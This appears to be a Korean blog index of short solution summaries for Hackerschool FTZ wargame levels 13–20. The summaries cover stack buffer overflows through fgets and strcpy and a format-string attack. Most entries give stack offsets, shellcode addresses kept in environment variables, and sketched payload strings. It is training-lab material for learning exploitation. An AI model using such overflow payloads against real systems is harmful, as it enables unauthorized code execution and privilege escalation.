본문 바로가기

시스템/FTZ

(20)
hackerschool FTZ level 1 - level 20 풀이 통합본 한번에 보기 쉽도록 정리해놨습니다. 도움이 됐으면 좋겠습니다.
hackerschool FTZ : level 20 풀이 문제 분석 1. fgets bof 2. FSB 사용 FSB 자세한 설명 https://pu1et-panggg.tistory.com/22 풀이 목표 : printf@got
hackerschool FTZ : level 18 풀이 문제 분석 1. count string -4 string -4 = check = 0xdeadbeef 2. payload = 0x08*4 + check = 0x08*4 + 0xdeadbeef
hackerschool FTZ : level 17 풀이 문제 분석 1. fgets bof 2. *call = shell_addr 풀이 1. buf 주소 확인 : ebp-56 call 주소 확인 : ebp-16 0xffffffc8(%ebp) = ebp-56 0xfffffff0(%ebp) = ebp-16 2. shellcode 환경변수로 저장 후 주소 확인 : 0xbffffbe2 자세한 설명 : https://pu1et-panggg.tistory.com/51 3. payload = dummy(40bytes) + shellcode_addr = "a"*40 + 0xbffffbe2
hackerschool FTZ : level 16 풀이 문제 분석 1. fgets bof 2. *call = shell 풀이 1. shell 함수 주소 확인 : 0x80484d0 readelf -s attackme | grep shell attackme 파일의 심볼 테이블 중 shell이 들어간 문자열 출력 2. buf 주소 확인 : ebp-56 call 주소 확인 : ebp-16 0xffffffc8(%ebp) = ebp-56 0xfffffff0(%ebp) = ebp-16 3. payload = dummy(40bytes) + shell_addr = "a"*40 + 0x80484d0
hackerschool FTZ : level 15 풀이 문제 분석 1. fgets bof 2. 조건 : *check==0xdeadbeef 풀이 1. bof 위치 확인 : ebp-56 0xffffffc8(%ebp) = ebp-56 2. check 위치 확인 : ebp-16 0xfffffff0(%ebp) = ebp-16 3. 0xdeadbeef 주소 확인 0xdeadbeef가 하드코딩 되어있음 -> 0xdeadbeef 주소 확인 4. payload = dummy(40bytes) + deadbeef_addr = "a"*40 + 0xdeadbeef
hackerschool FTZ : level 14 풀이 문제 분석 1. fgets bof 2. 조건 : check==0xdeadbeef 풀이 1. bof 위치 확인 : ebp-56 lea 0xffffffc8(%ebp), %eax => lea eax ebp-56 2. check 위치 확인 : ebp-16 cmpl $0xdeadbeef, 0xfffffff0(%ebp) => cmp ebp-16 0xdeadbeef 3. payload = dummy(40bytes) + check = "a"*40 + 0xdeadbeef
hackerschool FTZ : level 13 풀이 문제 분석 1. strcpy를 이용해 bof 2. 조건 : argc>1 && i==0x1234567 풀이 1. 변수 i의 위치 확인 : ebp-12 lea 0xffffbe8(%ebp), %eax => lea eax ebp-12 ebp-12 보면 0x1234567 확인 가능 2. 환경변수로 저장한 쉘 주소 획득 : 0xbffffbc9 쉘코드의 환경변수 등록 : https://pu1et-panggg.tistory.com/51 3. payload = dummy(1036bytes) + 0x1234567 + dummy(12bytes) + ret(shellcode) = "a"*1036 + 0x1234567 + "a"*12 + 0xbffffbc9